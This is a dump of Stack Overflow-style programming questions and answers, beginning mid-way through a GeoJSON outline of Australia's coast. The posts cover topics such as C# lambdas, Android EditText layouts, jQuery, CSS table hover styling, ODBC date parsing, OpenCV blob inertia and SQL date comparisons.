], [ 151.709117, -33.041342 ], [ 151.343972, -33.816023 ], [ 151.010555, -34.310360 ], [ 150.714139, -35.173460 ], [ 150.328220, -35.671879 ], [ 150.075212, -36.420206 ], [ 149.946124, -37.109052 ], [ 149.997284, -37.425261 ], [ 149.423882, -37.772681 ], [ 148.304622, -37.809061 ], [ 147.381733, -38.219217 ], [ 146.922123, -38.606532 ], [ 146.317922, -39.035757 ], [ 145.489652, -38.593768 ], [ 144.876976, -38.417448 ], [ 145.032212, -37.896188 ], [ 144.485682, -38.085324 ], [ 143.609974, -38.809465 ], [ 142.745427, -38.538268 ], [ 142.178330, -38.380034 ], [ 141.606582, -38.308514 ], [ 140.638579, -38.019333 ], [ 139.992158, -37.402936 ], [ 139.806588, -36.643603 ], [ 139.574148, -36.138362 ], [ 139.082808, -35.732754 ], [ 138.120748, -35.612296 ], [ 138.449462, -35.127261 ], [ 138.207564, -34.384723 ], [ 137.719170, -35.076825 ], [ 136.829406, -35.260535 ], [ 137.352371, -34.707339 ], [ 137.503886, -34.130268 ], [ 137.890116, -33.640479 ], [ 137.810328, -32.900007 ], [ 136.996837, -33.752771 ], [ 136.372069, -34.094766 ], [ 135.989043, -34.890118 ], [ 135.208213, -34.478670 ], [ 135.239218, -33.947953 ], [ 134.613417, -33.222778 ], [ 134.085904, -32.848072 ], [ 134.273903, -32.617234 ], [ 132.990777, -32.011224 ], [ 132.288081, -31.982647 ], [ 131.326331, -31.495803 ], [ 129.535794, -31.590423 ], [ 128.240938, -31.948489 ], [ 127.102867, -32.282267 ], [ 126.148714, -32.215966 ], [ 125.088623, -32.728751 ], [ 124.221648, -32.959487 ], [ 124.028947, -33.483847 ], [ 123.659667, -33.890179 ], [ 122.811036, -33.914467 ], [ 122.183064, -34.003402 ], [ 121.299191, -33.821036 ], [ 120.580268, -33.930177 ], [ 119.893695, -33.976065 ], [ 119.298899, -34.509366 ], [ 119.007341, -34.464149 ], [ 118.505718, -34.746819 ], [ 118.024972, -35.064733 ], [ 117.295507, -35.025459 ], [ 116.625109, -35.025097 ], [ 115.564347, -34.386428 ], [ 115.026809, -34.196517 ], [ 115.048616, -33.623425 ], [ 115.545123, -33.487258 ], [ 115.714674, -33.259572 ], [ 115.679379, -32.900369 ], [ 115.801645, -32.205062 ], [ 115.689611, -31.612437 ], [ 115.160909, -30.601594 ], [ 114.997043, -30.030725 ], [ 115.040038, -29.461095 ], [ 114.641974, -28.810231 ], [ 114.616498, -28.516399 ], [ 114.173579, -28.118077 ], [ 114.048884, -27.334765 ], [ 113.477498, -26.543134 ], [ 113.338953, -26.116545 ], [ 113.778358, -26.549025 ], [ 113.440962, -25.621278 ], [ 113.936901, -25.911235 ], [ 114.232852, -26.298446 ], [ 114.216161, -25.786281 ], [ 113.721255, -24.998939 ], [ 113.625344, -24.683971 ], [ 113.393523, -24.384764 ], [ 113.502044, -23.806350 ], [ 113.706993, -23.560215 ], [ 113.843418, -23.059987 ], [ 113.736552, -22.475475 ], [ 114.149756, -21.755881 ], [ 114.225307, -22.517488 ], [ 114.647762, -21.829520 ], [ 115.460167, -21.495173 ], [ 115.947373, -21.068688 ], [ 116.711615, -20.701682 ], [ 117.166316, -20.623599 ], [ 117.441545, -20.746899 ], [ 118.229559, -20.374208 ], [ 118.836085, -20.263311 ], [ 118.987807, -20.044203 ], [ 119.252494, -19.952942 ], [ 119.805225, -19.976506 ], [ 120.856220, -19.683708 ], [ 121.399856, -19.239756 ], [ 121.655138, -18.705318 ], [ 122.241665, -18.197649 ], [ 122.286624, -17.798603 ], [ 122.312772, -17.254967 ], [ 123.012574, -16.405200 ], [ 123.433789, -17.268558 ], [ 123.859345, -17.069035 ], [ 123.503242, -16.596506 ], [ 123.817073, -16.111316 ], [ 124.258287, -16.327944 ], [ 124.379726, -15.567060 ], [ 124.926153, -15.075100 ], [ 125.167275, -14.680396 ], [ 125.670087, -14.510070 ], [ 125.685796, -14.230656 ], [ 126.125149, -14.347341 ], [ 126.142823, -14.095987 ], [ 126.582589, -13.952791 ], [ 127.065867, -13.817968 ], [ 127.804633, -14.276906 ], [ 128.359690, -14.869170 ], [ 128.985543, -14.875991 ], [ 129.621473, -14.969784 ], [ 129.409600, -14.420670 ], [ 129.888641, -13.618703 ], [ 130.339466, -13.357376 ], [ 130.183506, -13.107520 ], [ 130.617795, -12.536392 ], [ 131.223495, -12.183649 ], [ 131.735091, -12.302453 ], [ 132.575298, -12.114041 ], [ 132.557212, -11.603012 ], [ 131.824698, -11.273782 ], [ 132.357224, -11.128519 ], [ 133.019561, -11.376411 ], [ 133.550846, -11.786515 ], [ 134.393068, -12.042365 ], [ 134.678632, -11.941183 ], [ 135.298491, -12.248606 ], [ 135.882693, -11.962267 ], [ 136.258381, -12.049342 ], [ 136.492475, -11.857209 ], [ 136.951620, -12.351959 ], [ 136.685125, -12.887223 ], [ 136.305407, -13.291230 ], [ 135.961758, -13.324509 ], [ 136.077617, -13.724278 ], [ 135.783836, -14.223989 ], [ 135.428664, -14.715432 ], [ 135.500184, -14.997741 ], [ 136.295175, -15.550265 ], [ 137.065360, -15.870762 ], [ 137.580471, -16.215082 ], [ 138.303217, -16.807604 ], [ 138.585164, -16.806622 ], [ 139.108543, -17.062679 ], [ 139.260575, -17.371601 ], [ 140.215245, -17.710805 ], [ 140.875463, -17.369069 ], [ 141.071110, -16.832047 ], [ 141.274095, -16.388870 ], [ 141.398222, -15.840532 ], [ 141.702183, -15.044921 ], [ 141.563380, -14.561333 ], [ 141.635520, -14.270395 ], [ 141.519869, -13.698078 ], [ 141.650920, -12.944688 ], [ 141.842691, -12.741548 ], [ 141.686990, -12.407614 ], [ 141.928629, -11.877466 ], [ 142.118488, -11.328042 ], [ 142.143706, -11.042737 ], [ 142.515260, -10.668186 ], [ 142.797310, -11.157355 ], [ 142.866763, -11.784707 ], [ 143.115947, -11.905630 ], [ 143.158632, -12.325656 ], [ 143.522124, -12.834358 ], [ 143.597158, -13.400422 ], [ 143.561811, -13.763656 ] ] ] ] } } ] } </code></pre>
4671059	0	 <p>You can create custom form and show it next to the system notification area. <a href="http://www.lmdinnovative.com/products/lmdelpack/" rel="nofollow">LMD ElPack</a> includes TElTrayInfo component for exactly this purpose. </p>
637000	0	 <p>Can you use reflection to get the list of properties specific to an subclass (instance)? (Less error-prone.)</p> <p>If not, create a (virtual) method which returns the special properties. (More error prone!)</p> <p>For an example of the latter:</p> <pre><code>abstract class Customer { public virtual string Name { get; set; } public virtual IDictionary&lt;string, object&gt; GetProperties() { var ret = new Dictionary&lt;string, object&gt;(); ret["Name"] = Name; return ret; } } class HighValueCustomer : Customer { public virtual int MaxSpending { get; set; } public override IDictionary&lt;string, object&gt; GetProperties() { var ret = base.GetProperties(); ret["Max spending"] = MaxSpending; return ret; } } class SpecialCustomer : Customer { public virtual string Award { get; set; } public override IDictionary&lt;string, object&gt; GetProperties() { var ret = base.GetProperties(); ret["Award"] = Award; return ret; } } </code></pre> <p>You probably want to create sections (<code>fieldset</code>s?) on your Web page, anyway, so <code>if</code> would come into play there, making this extra coding kinda annoying and useless.</p>
26726595	0	 <p>The part you are asking about is an anonymous method that uses a lambda expression. It is commonly used in callbacks.</p> <p>When you write this</p> <pre><code>(machine, error) =&gt; { SelectedMachine = new MachineViewModel(machine); } </code></pre> <p>you are making a function that has no name (and therefore cannot be reused by name, like a regular method). It is very convenient in situations when you need to produce a piece of callable code that needs to be used only once, e.g. in callbacks.</p> <p>Note that the method does not have to be anonymous: you could make an equivalent named method. However, an since the anonymous method is built in the context of the method where it is used, the variables from the context are available to it. Your anonymous method assigns <code>SelectedMachine</code>, which is probably a property of your class. In the same way, anonymous methods can access local variables as well, which is a very powerful mechanism of combining together a state and a piece of code that operates on it.</p>
19380260	0	 <p>Use this NSDictionary below:-</p> <pre><code>//Add how many elements you want to add on your array NSDictionary *yourDict=[NSDictionary dictionaryWithObjects:[NSArray arrayWithObjects:@"$Indore", nil] forKeys:[NSArray arrayWithObjects:@"1", nil]]; NSString *yourStr=[yourDict objectForKey:@"1"]; NSLog(@"%@",yourStr); </code></pre>
23758836	0	 <p>(Based on <a href="http://stackoverflow.com/questions/8595389/programmatically-trigger-select-file-dialog-box">Programmatically trigger &quot;select file&quot; dialog box</a>)</p> <p>You call the hidden input button from the dat.GUI button's function.</p> <p>You need to use the jQuery library to make it work</p> <pre><code>&lt;input id="myInput" type="file" style="visibility:hidden" /&gt; &lt;script&gt; var params = { loadFile : function() { $('#myInput').click(); } }; var gui = new dat.GUI(); gui.add(params, 'loadFile'). name('Load CSV file'); &lt;/script&gt; </code></pre>
27574155	0	 <p>You can open the file feat.params in model folder and look for <code>-upperf</code> parameter. In 8khz model <code>-upperf</code> is usually 3500 or 4000. For 16khz model <code>-upperf</code> is more than 4000, usually 6800.</p>
11136477	0	 <p>The easiest way is to try to red it, and catch the exception.</p> <p>Catching the exception is done by defining an entry in the <code>__ex_table</code> secion, using inline assembly.<br> The exception table entry contains a pointer to a memory access instruction, and a pointer to a recovery address. If an segfault happens on this instruction, EIP will be set to the recovery address.</p> <p>Something like this (I didn't test this, I may be missing something):</p> <pre><code>void *ptr=whatever; int ok=1; asm( "1: mov (%1),%1\n" // Try to access "jmp 3f\n" // Success - skip error handling "2: mov $0,%0\n" // Error - set ok=0 "3:\n" // Jump here on success "\n.section __ex_table,\"a\"" ".long 1b,2b\n" // Use .quad for 64bit. ".prev\n" :"=r"(ok) : "r"(ptr) ); </code></pre>
27260504	0	 <p>I stumbled upon this question after searching for a similar thing. Since (sadly) I didn't find a CSS-only solution for this problem, I ended up using jQuery to do the job.</p> <pre><code>function hrExpand() { var windowWidth = $(window).width(); $('hr').width(windowWidth).css('margin-left', function(){ return '-' + ($(this).offset().left) + 'px'; }); } </code></pre> <p>Just make sure to run the function both onload and onresize.</p> <p>Example: <a href="http://codepen.io/anon/pen/qEOoGb" rel="nofollow">http://codepen.io/anon/pen/qEOoGb</a></p> <p><em>(You could replace $('hr') with e.g. $('.content > hr') to increase performance a bit and prevent it from replacing ALL the hr's on your page)</em></p>
26194689	0	 <p>I think what your looking for is this:</p> <p><a href="http://developer.android.com/reference/android/location/Geocoder.html" rel="nofollow">getFromLocationName (String locationName, int maxResults)</a> </p> <p>From the docs :</p> <blockquote> <p>Returns an array of Addresses that are known to describe the named location, which may be a place name such as "Dalvik, Iceland", an address such as "1600 Amphitheatre Parkway, Mountain View, CA", an airport code such as "SFO", etc.. The returned addresses will be localized for the locale provided to this class's constructor.</p> <p>The query will block and returned values will be obtained by means of a network lookup. The results are a best guess and are not guaranteed to be meaningful or correct. It may be useful to call this method from a thread separate from your primary UI thread.</p> </blockquote> <p>to get the Street name use this(I think you already know this):</p> <pre><code> for(int a = 0 ; a &lt; addresses.size() ; a++){ Address address = addresses.get(a); for (int i = 0; i &lt; address.getMaxAddressLineIndex(); i++) { // get address like address.getAddressLine(i); } } </code></pre> <p>hope it helps :)</p>
30066110	0	 <p>"Hash table" is just a fancier way of saying "ordinary Javascript object". What the instructor means by "handle to its definition" is just another way of saying "the function that acts as a constructor for the class".</p> <p>Ultimately, what he means by the statement you mentioned:</p> <blockquote> <p>each overloaded entity definition will update a hash table with a pointer to its class definition</p> </blockquote> <p>is the following:</p> <ul> <li>All "subclasses" of Entity will register their constructor function in a single shared hashmap/object using the key which is the <code>type</code> value.</li> <li>This allows you to get the constructor function (in other words, the function to call <code>new</code> on, which will return an instance of that entity) for any type by accessing <code>gGameEngine.factory[type]</code>.</li> </ul> <p>This is nice, because whenever a programmer adds a new type of entity, so long as they remember to add a new entry to that <code>gGameEngine.factory</code> object with the correct key, then that object will contain everything you need to construct any type of supported object.</p> <p>So the code that iterates over the JSON structure generated by the level editor can create an instance of any type the same way, using something like:</p> <pre><code>var typeConstructor = gGameEngine.factory(tileSpec.type), instance; if (typeConstructor) { instance = new(typeConstructor)(tileSpec /* or whatever params */); } </code></pre> <p>This is similar to the code visible at around the 1 minute mark of the video you linked to.</p> <p>Make sense now?</p>
37229563	0	 <p>Objective-C is C. The primitive (what I would call <em>scalar</em>) data types are all numbers and are completely defined by the language; you cannot add to them (though you can rename them using <code>typedef</code>. The corresponding literals, such as <code>1</code> and <code>"hello"</code>, are also part of C.</p> <p>Similarly, literals like <code>@"howdy"</code> and <code>@[@"howdy"]</code>, though defined by Objective-C rather than C, are part of the language and you cannot change or add to them, as the literal syntax is built into the language.</p>
6410176	0	 <p>Maybe you are writing something wrong here:</p> <pre><code>$get(_dropdownID).addClass('dropdownTextDisabled'); </code></pre> <p>shuold be </p> <pre><code>$('#_dropdownID').addClass('dropdownTextDisabled'); </code></pre> <p>does it work in other browsers? What is the variable <code>$get</code> you are calling the method addClass() on?</p>
16182526	0	Android multiline edittext not increasing its height as the user types <p>So the layout is quite simple. A <code>ListView</code> occupying most of the screen, and a <code>RelativeLayout</code> at the bottom containing the <code>EditText</code> and a <code>Button</code> to the right. Everything looks great, but the problem is that as the user types and enters new lines, the <code>EditText</code> is not increasing its height just enough so that the user can see all the text types without scrolling. You would think that using <code>WRAP_CONTENT</code> on both the <code>EditText</code> and its parent <code>RelativeLayout</code> would take care of that, but it doesn't for some reason. Any ideas? Here's the Layout XML:</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" &gt; &lt;RelativeLayout android:id="@+id/postCommentRelativeLayout" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignParentBottom="true" android:layout_alignParentLeft="true" android:layout_alignParentRight="true" android:visibility="visible" &gt; &lt;Button android:id="@+id/viewCommentsPostCommentButton" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignParentRight="true" android:layout_alignParentTop="false" android:text="@string/post" /&gt; &lt;EditText android:id="@+id/viewCommentsInsertCommentTextEdit" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignBottom="@id/viewCommentsPostCommentButton" android:layout_alignParentLeft="true" android:layout_alignParentTop="false" android:layout_toLeftOf="@+id/viewCommentsPostCommentButton" android:ems="10" android:hint="@string/enter_comment" android:inputType="textCapSentences|textMultiLine" &gt; &lt;requestFocus /&gt; &lt;/EditText&gt; &lt;/RelativeLayout&gt; &lt;ListView android:id="@+id/entriesListView" android:layout_width="match_parent" android:layout_height="wrap_content" android:layout_above="@id/postCommentRelativeLayout" android:layout_alignParentLeft="true" android:layout_alignParentRight="true" android:layout_alignParentTop="true" android:focusable="false" &gt; &lt;/ListView&gt; &lt;/RelativeLayout&gt; </code></pre>
40600786	0	Change value of character pointed by a pointer <p>I would like to know why my code giving me error when run.</p> <p>I am trying to change the character value pointed by a pointer variable.</p> <pre><code>#include &lt;stdio.h&gt; int main() { char amessage[] = "foo"; char *pmessage = "foo"; // try 1 amessage[0] = 'o'; // change the first character to '0' printf("%s\n", amessage); // try 2 *pmessage = 'o'; // This one does not work printf("%s\n", pmessage); } </code></pre> <p>The first attempt works, and prints <code>ooo</code>. But the second one gives me:</p> <pre><code>[1] 9677 bus error ./a.out </code></pre> <p>Any ideas?</p>
27511037	0	 <p>Replace</p> <pre><code>return render(request,'templates/login.html',status=302) </code></pre> <p>instead of</p> <pre><code>return redirect(reverse('login')) </code></pre>
8896015	0	 <p>Make sure you <code>use Symfony\Component\Security\Core\SecurityContextInterface;</code> in your controller. Without it, the <code>SecurityContextInterface</code> type hint in the constructor won't resolve.</p> <p>Also, make sure your controller is actually being called as a service. The error you posted is complaining that <em>nothing</em> was sent to the constructor, which sounds to me like you're using your controller the 'default' way. See <a href="http://symfony.com/doc/current/cookbook/controller/service.html" rel="nofollow">this cookbook page</a> on how to setup a controller as a service.</p>
28643732	0	SQL Server : trigger on not inserted row <p>I have two tables. I have defined a trigger on Table A that updates Table B when a row is inserted into Table A. </p> <p>I want to prevent inserting into table A and allow updating in table B if a data with certain values is sent to Table A.</p> <p>Can anyone help me?</p>
17384146	0	CSS tables: changing background on hover, including alternative rows <p>I have created a sample page with a table. Should the page get deleted in the future, <a href="http://pastebin.com/QS3UG51i" rel="nofollow">here's</a> the code on Pastebin.</p> <p>I want to highlight table rows on hover. It works for normal tr but it doesn't work for tr.alt (odd rows).</p> <p>Code for highlighting:</p> <pre><code>tr:hover,tr.alt:hover { background: #f7dcdf; } </code></pre> <p>Code for making odd rows different colour:</p> <pre><code>tr.alt td { background: #daecf5; } </code></pre> <p>Any ideas how this could be fixed? Thank you very much in advance!</p>
35880698	0	 <p>A method which declares a return type must declare a return statement for every possible branch of flow of that method. Which means basically there is a flow of code possible in your method which does not end in a return statement (hint: what happens if your <code>if</code> statement returns false inside the loop every time? Eventually the loop will end and nothing will be returned.)</p> <p>You can put a catch-all return statement at the bottom of your method doing something like returning <code>null</code>, or perhaps even throwing an <code>Exception</code> which will allow you to not "return anything"</p>
25450016	0	 <p>You need to convert the date field to varchar to strip out the time, then convert it back to datetime, this will reset the time to '00:00:00.000'.</p> <pre><code>SELECT * FROM [TableName] WHERE ( convert(datetime,convert(varchar,GETDATE(),1)) between convert(datetime,convert(varchar,[StartDate],1)) and convert(datetime,convert(varchar,[EndDate],1)) ) </code></pre>
19548825	0	 <p>Try this code</p> <pre><code>&lt;LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:gravity="center_horizontal" android:orientation="vertical" &gt; &lt;TextView android:id="@+id/text_nickname" android:layout_width="10dip" android:layout_height="10dip" android:layout_marginTop="15dp" android:gravity="center_horizontal" android:textColor="#000000" android:textSize="15sp" /&gt; &lt;EditText android:id="@+id/edit_nickname" android:layout_width="300dp" android:layout_height="wrap_content" android:shadowColor="#000000" android:shadowDx="-1" android:shadowDy="-1" android:shadowRadius="1" android:textSize="15sp" android:layout_marginLeft="3dp"/&gt; &lt;Button android:id="@+id/button_play" android:layout_height="wrap_content" android:layout_width="wrap_content" android:layout_marginTop="25dp" android:onClick="click_playButton" android:text="Button" /&gt; &lt;/LinearLayout&gt; </code></pre>
26738163	0	 <p>I would change <code>.some-block</code> from <code>float:left;</code> to <code>display:inline;</code>. That way, a standard div like <code>.regular-block</code> will automatically show underneath and you don't need a clear between them.</p> <p>Then you can put the <code>clear</code> div at the bottom to fix the block heights:</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>.wrapper{ border: 1px solid brown; } .left-block{ float:left; width:100px; padding:5px; border: 1px solid red; } .right-block{ margin-left: 112px; border: 1px solid green; padding:5px; padding-bottom:0; } .some-block{ display:inline; border: 1px solid yellow; } .regular-block{ margin-top:10px; border: 1px solid violet; } .clear{ clear:left; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;div class="wrapper"&gt; &lt;div class="left-block"&gt; &lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque tristique, lorem dapibus tristique rhoncus, justo erat volutpat erat, in malesuada enim libero quis metus. Nunc tristique maximus efficitur. Sed nec dolor ut quam consequat molestie id quis justo. &lt;/p&gt; &lt;/div&gt; &lt;div class="right-block"&gt; &lt;p&gt; Nunc a lectus enim. Quisque sit amet iaculis turpis, a auctor tortor. Mauris aliquet sapien non odio tempor, auctor gravida nunc commodo. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec elementum eu tellus vel volutpat. Cras sed neque egestas, ullamcorper purus id, viverra odio. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Fusce et malesuada est, et bibendum lectus. &lt;/p&gt; &lt;div class="some-block"&gt;654&lt;/div&gt; &lt;div class="some-block"&gt;132&lt;/div&gt; &lt;div class="some-block"&gt;987&lt;/div&gt; &lt;div class="regular-block"&gt;10002&lt;/div&gt; &lt;div class="clear"&gt;&lt;/div&gt; &lt;/div&gt; &lt;/div</code></pre> </div> </div> </p>
8981449	0	 <p>When you create a D3D device you specify which window do bind it to (third parameter of <code>CreateDevice</code> call). I may suggest that destroying of second device takes out focus in a way which is unseen by the first device. Try explicitly returning the focus back to main window:</p> <pre><code>second_device-&gt;Release(); SetActiveWindow(hWnd); </code></pre> <p>Btw, if this is how you make parallel rendering consider using render targets or swap chains instead. DX9 docs say that switching between devices puts a significant penalty to performance.</p>
15068807	0	 <p>You forgot to add the <code>@ORM\</code> prefix in your annotations:</p> <pre><code>/** * @ManyToMany(targetEntity="User", mappedBy="hasAccessToMe") **/ </code></pre> <p>should be</p> <pre><code>/** * @ORM\ManyToMany(targetEntity="User", mappedBy="hasAccessToMe") **/ </code></pre>
28101792	0	 <p>I think you should set a UINavigationController to rootviewController , there will be a navigation bar. So you can also set the firstView as rootViewController, but set the viewcontrollers attribute to put the Test viewcontroller that clears before viewcontrollers.</p>
22191064	0	Post a status in facebook and tag friends <p>I am trying to post a status on users own wall and tag the friends on it. I tried FeedDialogBuilder but i can't tag friends with it.Please help me if anyone know how to do it.</p> <pre><code>Bundle params = new Bundle(); params.putString("tags","8768XXX787,"1111XXXX222,"565XXX566565"); WebDialog feedDialog = (new WebDialog.FeedDialogBuilder(getActivity(), Session.getActiveSession(),params)) .setOnCompleteListener(new OnCompleteListener() { @Override public void onComplete(Bundle values, FacebookException error) { if (error == null) { final String postId = values.getString("post_id"); if (postId != null) { Toast.makeText(getActivity(),"Posted story, id: "+postId, Toast.LENGTH_SHORT).show(); } else { // User clicked the Cancel button Toast.makeText(getActivity(), "Publish cancelled", Toast.LENGTH_SHORT).show(); } } else if (error instanceof FacebookOperationCanceledException) { // User clicked the "x" button Toast.makeText(getActivity(), "Publish cancelled", Toast.LENGTH_SHORT).show(); } else { // Generic, ex: network error Toast.makeText(getActivity(), "Error posting story", Toast.LENGTH_SHORT).show(); } } }).build(); feedDialog.show(); </code></pre>
14777514	0	 <p>I've been wondering this for a while also; the OpenCV documentation isn't very helpful when it comes to blob detection.</p> <p>Based on the descriptions of <a href="http://www1.adept.com/main/KE/Data/ACE/AdeptSight_User/BlobAnalyzer_Results.html#Intrinsic_Inertia_Results">other blob analyzers</a>, the inertia of a blob is "the inertial resistance of the blob to rotation about its principal axes". It depends on how the mass of the blob (I guess in this case the area) is distributed throughout the blob's shape.</p> <p>There's a lot of mathy stuff involved -- most of which I don't remember how to do -- but the result at the bottom of <a href="http://homepages.inf.ed.ac.uk/rbf/CVonline/LOCAL_COPIES/OWENS/LECT2/node3.html">this page on the properties of binary images</a> sums it up fairly well (blob detection is done by converting the input image to a series of binary images):</p> <blockquote> <p>The ratio <img src="https://chart.googleapis.com/chart?cht=tx&amp;chl=I_%7Bmin%7D%2FI_%7Bmax%7D&amp;chf=bg,s,65432100" alt="I_min/I_max"> gives us some idea of how rounded the object is. This ratio will be 0 for a line and 1 for a circle.</p> </blockquote> <p>So basically, by specifying <code>minInertiaRatio</code> and <code>maxInertiaRatio</code> you can filter the blobs based on how elongated they are. An inertia ratio of 0 will yield elongated blobs (closer to lines) and an inertia ratio of 1 will yield blobs where the area is more concentrated toward the center (closer to circles).</p>
11293921	0	 <p>I tried your URL in a C# program and it also gives me an error. This is due to the status code being 420 which makes the .net framework treat the response as an error response and throw an exception. For more info on using responses with error status code have a look here: <a href="http://stackoverflow.com/questions/692342/net-httpwebrequest-getresponse-raises-exception-when-http-status-code-400-ba">.Net HttpWebRequest.GetResponse() raises exception when http status code 400 (bad request) is returned</a></p>
6355270	0	 <p>In answer to your two questions:</p> <ol> <li><p>The call to <code>fsolve</code> is using an <a href="http://infoshako.sk.tsukuba.ac.jp/ShakoDoc/MATLAB5/help/toolbox/optim/fsolve.html" rel="nofollow">old MATLAB syntax</a> for passing an argument to the objective function. The call is optimizing for the objective function <code>@(x) fun1(x, pH)</code> starting from the initial value <code>1</code> and passing no options (<code>[]</code>). For recent versions of MATLAB this should be written</p> <p><code>fsolve(@(x) fun1(x, pH), 1)</code></p></li> <li><p><code>fun1</code> is a <a href="http://www.mathworks.com/help/techdoc/matlab_prog/f4-39683.html" rel="nofollow">nested function</a> so can be called from within it's parent function <code>pH2Fb</code>.</p></li> </ol>
10341396	0	 <p>The brackets in the search pattern make that a "group". What <code>$_ =~ /regex/</code>returns is an array of all the matching groups, so <code>my ($tmp)</code> grabs the first group into $tmp.</p>
34049591	0	Odbc parses String as Date using internalGetDate? <p>I am attempting to convert a bit of code I wrote for SQL Server connections to work with an Odbc data source. I've been running into a bit of an issue with OdbcDataReader.GetValue(int) attempting to call OdbcDataReader.internalGetDate for a string field.</p> <p>Here is the code I am currently using for getting the value:</p> <pre><code>private static void ReadRecord&lt;T&gt;(IDataRecord record, T myClass) { .... inside loop of datarecord fields .... var value = record.GetValue(i); pi.SetValue(myClass, value == DBNull.Value ? null : Convert.ChangeType(value, record.GetFieldType(i)), null); </code></pre> <p>When I execute this against a specific 4D data table using Odbc, I get a OdbcException with no Message attached to it. The exception stack trace shows that internalGetDate was used.</p> <pre><code>at System.Data.Odbc.OdbcConnection.HandleError(OdbcHandle hrHandle, RetCode retcode) at System.Data.Odbc.OdbcDataReader.GetData(Int32 i, SQL_C sqlctype, Int32 cb, Int32&amp; cbLengthOrIndicator) at System.Data.Odbc.OdbcDataReader.GetData(Int32 i, SQL_C sqlctype) at System.Data.Odbc.OdbcDataReader.internalGetDate(Int32 i) at System.Data.Odbc.OdbcDataReader.GetValue(Int32 i, TypeMap typemap) at System.Data.Odbc.OdbcDataReader.GetValue(Int32 i) at System.Data.Odbc.DbCache.AccessIndex(Int32 i) at System.Data.Odbc.OdbcDataReader.GetValue(Int32 i) </code></pre> <p>I reviewed the reference source <a href="http://referencesource.microsoft.com/#System.Data/System/Data/Odbc/OdbcDataReader.cs,495" rel="nofollow">here</a> which shows that GetSqlType is executed to determine the function to call in a later GetValue() call. I wrote this code to check the SqlType of the index in question</p> <pre><code>var odbcdatareader = typeof(OdbcDataReader); var method = odbcdatareader.GetMethod("GetSqlType", BindingFlags.Instance | BindingFlags.NonPublic); var type = method.Invoke(record, new object[] { i }); var typemap = odbcdatareader.Assembly.GetType("System.Data.Odbc.TypeMap"); var typemapodbctype = typemap.GetField("_odbcType", BindingFlags.Instance | BindingFlags.NonPublic); var typemapdbtype = typemap.GetField("_dbType", BindingFlags.Instance | BindingFlags.NonPublic); var typemaptype = typemap.GetField("_type", BindingFlags.Instance | BindingFlags.NonPublic); var typemapsqltype = typemap.GetField("_sql_type", BindingFlags.Instance | BindingFlags.NonPublic); Console.WriteLine("{0}, {1}, {2}, {3}", typemapodbctype.GetValue(type), typemapdbtype.GetValue(type), typemaptype.GetValue(type), typemapsqltype.GetValue(type)); </code></pre> <p>The results of this check are:</p> <pre><code>Char, AnsiStringFixedLength, System.String, CHAR </code></pre> <p>Why would Odbc's GetSqlType be reporting this as a CHAR but then using internalGetDate to try and parse the data? Am I missing something obvious?</p> <p>Even weirder is when I call GetString() on that index, I also get an error with internalGetDate().</p> <pre><code>at System.Data.Odbc.OdbcConnection.HandleError(OdbcHandle hrHandle, RetCode retcode) at System.Data.Odbc.OdbcDataReader.GetData(Int32 i, SQL_C sqlctype, Int32 cb, Int32&amp; cbLengthOrIndicator) at System.Data.Odbc.OdbcDataReader.GetData(Int32 i, SQL_C sqlctype) at System.Data.Odbc.OdbcDataReader.internalGetDate(Int32 i) at System.Data.Odbc.OdbcDataReader.GetValue(Int32 i, TypeMap typemap) at System.Data.Odbc.OdbcDataReader.GetValue(Int32 i) at System.Data.Odbc.DbCache.AccessIndex(Int32 i) at System.Data.Odbc.OdbcDataReader.internalGetString(Int32 i) at System.Data.Odbc.OdbcDataReader.GetString(Int32 i) </code></pre>
15779007	0	 <p>Try adding this piece of code to the top of your program</p> <pre><code>//screen cleared as blue glClearColor(0.0f, 0.0f, 0.4f, 0.0f); glEnable(GL_DEPTH_TEST); glDepthFunc(GL_LESS); glEnable(GL_CULL_FACE); </code></pre> <p>this is from a textured cube program i wrote, you may already have some of these functions implemented, but from what i see you might be missing <code>glDepthFunc(GL_LESS)</code></p>
13288516	0	 <p>You do not need to get the category object, you can just create a new category object and dynamically set the id.</p> <pre><code>var dropdown = (DropDownList)MyFormView.FindControl("dropdown"); var id = dropdown.SelectedValue; item.Category = new Category { CategoryId = id }; </code></pre>
29744137	0	 <p>A fragment should be a part of activity. And an activity must be declared in android manifest. There are different ways to start an activity and fragment.</p>
16868580	0	 <p>If you want html within php, best way is to separate html and php like,</p> <pre><code>&lt;?php //some php code ?&gt; &lt;!--html content --&gt; </code></pre> <p>If there is small html within php then you can do like,</p> <pre><code>&lt;?php echo '&lt;b&gt;Bold stuff&lt;/b&gt;'; ?&gt; </code></pre> <p>If there is mixing of lot of html and php, then use heredoc, <a href="http://www.php.net/manual/en/language.types.string.php#language.types.string.syntax.heredoc" rel="nofollow">http://www.php.net/manual/en/language.types.string.php#language.types.string.syntax.heredoc</a></p>
21604826	0	 <p><code>using (SqlConnection connection = new SqlConnection(@"Data Source=(local);Integrated Security=True;Initial Catalog=DB_Name;"))</code></p> <p><code>{</code></p> <p><code>connection.Open();</code></p> <p><code>using (SqlCommand command = connection.CreateCommand()) {</code></p> <p><code>command.CommandText =@"SELECT Name from Sysobjects where xtype = 'u'";</code> <code>using (SqlDataReader reader = command.ExecuteReader()) {</code></p> <p><code>while (reader.Read())</code> </p> <p><code>{</code> <code>// your code goes here...</code> <code>}</code> <code>}</code> }<code> </code>}`</p>
